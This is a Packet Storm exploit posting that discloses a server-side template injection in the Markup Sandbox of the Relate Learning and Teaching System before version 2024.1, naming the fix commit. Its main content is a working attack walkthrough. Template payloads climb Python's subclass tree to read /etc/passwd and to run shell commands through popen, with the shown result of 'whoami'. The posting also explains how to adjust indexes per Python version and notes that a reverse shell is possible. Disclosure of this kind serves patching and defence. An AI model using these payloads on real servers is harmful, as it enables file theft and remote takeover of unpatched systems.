exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Relate Learning And Teaching System SSTI / Remote Code Execution

Relate Learning And Teaching System SSTI / Remote Code Execution
Posted Apr 19, 2024
Authored by kai6u

Relate Learning and Teaching System versions prior to 2024.1 suffers from a server-side template injection vulnerability that leads to remote code execution. This particular finding targets the Markup Sandbox function.

tags | exploit, remote, code execution
SHA-256 | dc9ebb411726c774da4987d54d2ba2f224359e747d24c55618c19978e8b73e8a

Relate Learning And Teaching System SSTI / Remote Code Execution

Change Mirror Download
# Exploit Title: Relate Learning And Teaching system Version before 2024.1 SSTI(Markup Sandbox function) lead to RCE
# Date: 19/04/2024
# Exploit Author: kai6u
# Vendor Homepage: https://github.com/inducer/
# Software Link: https://github.com/inducer/relate
# Affected Version:before 2024.1 (https://github.com/inducer/relate/commit/2fdbd4480a2d0a45c746639be244a61a0d4112b6)
# Fixed Version:2024.1 (https://github.com/inducer/relate/commit/d9fa7dcb84b8e5a64ce78ced4f56cdd61c0d59aa)
# Tested on: Ubuntu 22.04
# Summary:
SSTI Markup Sandbox function of Relate Learning And Teaching system

# Description:

* 【Prerequisite】
* The attacker has stolen the privilege to use Markup Sandbox. For example, attacker is logged in as an course administrator.

* SSTI is in the `Markup Sandbox` feature, which allows user to check Mark Down contents before publish.

1) First, the attacker uses the Markup Sandbox feature to plant the following payload.
* Payload:
* `{{ 'abc'.__class__.__base__.__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read() }}`
* Note that the subclasses index number in the payload depends on the python version, so it must be changed depending on the environment.

2) Click an Preview including the above payload.
* Then you will see that the contents of the `/etc/passwd` file are output at the Content Preview block.
* This is identified as an LFI vulnerability because it is a file that should not be read from the application side.

3) Next, the attacker modifies the above payload to execute arbitrary commands by changing the subclasses index number to the number of popen.
* Payload:
* `{{ 'abc'.__class__.__base__.__subclasses__()[210]('whoami',shell=True,stdout=-1).communicate()[0].strip() }}`

4) Click an Preview including the above payload.

* If you check the results, you will see that `ubuntu` is displayed, which is the result of executing the whoami command.
* This is classified as an RCE vulnerability and is very dangerous because it is possible to hijack the server directly from the application side.
* An attacker can use this feature to execute reverse shell.

# References
https://book.hacktricks.xyz/v/jp/pentesting-web/ssti-server-side-template-injection


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close